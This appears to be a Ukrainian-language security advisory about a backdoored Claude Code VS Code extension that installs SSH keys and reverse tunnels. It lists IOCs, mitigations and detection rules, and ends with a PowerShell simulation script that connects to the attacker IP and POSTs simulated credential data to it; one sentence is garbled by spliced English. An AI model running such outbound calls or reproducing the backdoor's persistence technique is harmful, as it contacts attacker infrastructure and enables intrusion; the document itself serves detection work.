SOC Prime Bias: Critical

03 Nov 2026 14:10 UTC

Компрометація розширення Claude Code: Попередження з безпеки

Author Photo
SOC Prime Team linkedin icon Стежити
Компрометація розширення Claude Code: Попередження з безпеки
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

На ринку Cursor виявлено версію 2.1.313 розширення Claude Code для VS Code зі вбудованим бекдором. Шкідливе програмне забезпечення встановлює стійкий SSH-бекдор на macOS, Linux і Windows через модифікацію authorized_keys і створення зворотних SSH-тунелів. Воно також проводить розвідку хосту для виявлення конфіденційних змінних середовища та потенційно відкритих облікових даних.

Розслідування

Phorion ідентифікував впроваджений IIFE всередині мініфікованого пакету розширення, який запускається одразу під час завантаження розширення. Розслідування показало, що шкідливе ПЗ намагається активувати SSH-сервіси та використовує специфічні ключі Ed25519 для аутентифікації жертв і встановлення зворотного тунелю. Дослідники також виявили недоліки в реалізації логіки macOS і Windows, що можуть обмежити його здатність активувати служби без наявних привілеїв.

Пом’якшення

Організації повинні негайно ідентифікувати і видалити версію 2.1.313 розширення Claude Code для VS Code. На macOS користувачі повинні вивантажити та видалити com.apple.sysmond.plist LaunchAgent. Команди безпеки також повинні перевірити конфігурації SSH і видалити svc-telemetry публічний ключ з уражених authorized_keys файлів.

Реагування

При виявленні компрометації зупиніть активні процеси тунелювання, включаючи відокремлені цикли повторних спроб оболонки та ssh or autossh процеси, що підключаються до 134.209.82.225. Видаліть артефакти стійкості, включаючи записи cron, заплановані завдання та приховані скрипти, збережені в .config каталогах. Критично важливо змінити всі облікові дані та токени API, які були розкриті через змінні середовища на ураженому хості.

Поточний потік атаки

Ми ще оновлюємо цю частину.

Виявлення

Можливі спроби комунікації IP Lookup Domain (через DNS)

Команда SOC Prime
02 листопада 2026

Підозрілі бінарні файли/скрипти в автозапуску (через file_event)

Команда SOC Prime
30 жовтня 2026

Можливі комунікації C2 через HTTP до прямого IP з незвичайним портом (через проксі)

Команда SOC Prime
30 жовтня 2026

Прихований файл створено на Linux хості (через file_event)

Команда SOC Prime
30 жовтня 2026

IOC (HashSha256) для виявлення: Компрометація офіційного розширення Claude Code: Rада безпеки

Правила AI SOC Prime
30 жовтня 2026

IOC (SourceIP) для виявлення: Компрометація офіційного розширення Claude Code: Rада безпеки

Правила AI SOC Prime
30 жовтня 2026

IOC (DestinationIP) для виявлення: Компрометація офіційного розширення Claude Code: Rада безпеки

Правила AI SOC Prime
30 жовтня 2026

Виявлено підозрілу активність SSH до відомої шкідливої IP-адреси [Windows Network Connection]

Правила AI SOC Prime
30 жовтня 2026

Виявлення бекдора в розширенні Claude Code для VS Code на macOS [Linux File Event]

Правила AI SOC Prime
30 жовтня 2026

Виконання симуляції

  • Атакуючий намагається встановити стійкий C2 тунель, отримавши початковий доступ. Вони ініціюють SSH-з’єднання до The adversary, having achieved initial access, aims to establish a persistent C2 tunnel. They initiate an SSH connection to 134.209.82.225 на порті 22 щоб створити безпечний тунель для бокового переміщення. Негайно після цього, шкідливий агент виконує HTTP POST запит до http://134.209.82.225:8099 що містить закодовану системну інформацію. Ця конкретна послідовність з “SSH + HTTP POST до того ж IP” призначена для спрацювання умов правила дозвіл: selection_ssh та selection_http.

  • Тестовий скрипт регресії:

    # Скрипт симуляції: виклик підозрілої активності SSH та HTTP POST
    $TargetIP = "134.209.82.225"
    $SSHPort = 22
    $HTTPPort = 8099
    
    Write-Host "[+] Розпочато симуляцію..." -ForegroundColor Cyan
    
    # Крок 1: Симуляція з'єднання SSH (за допомогою Test-NetConnection для генерації Sysmon ID 3)
    Write-Host "[+] Крок 1: Симуляція вихідного з'єднання SSH до $TargetIP на порт $SSHPort"
    Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue
    
    # Крок 2: Симуляція HTTP POST запиту (за допомогою Invoke-WebRequest)
    Write-Host "[+] Крок 2: Симуляція HTTP POST сигналу до $TargetIP на порт $HTTPPort"
    try {
        # Ми використовуємо короткий тайм-аут, щоб уникнути зависання скрипту, якщо IP недоступний
        $payload = @{ data = "simulated_credential_harvesting_data" }
        Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5
    } catch {
        Write-Host "[!] HTTP Запит не вдався (очікувано, якщо IP офлайн), але повинна була бути згенерована телеметрія." -ForegroundColor Yellow
    }
    
    Write-Host "[+] Команди симуляції виконані." -ForegroundColor Green
  • Команди очищення:

    # Під час цієї симуляції жодних стійких змін до системи не вносилося.
    # Ніяких файлів не створено, і жодних служб фактично не встановлено.
    Write-Host "[+] Очищення завершено. Немає артефактів для видалення." -ForegroundColor Green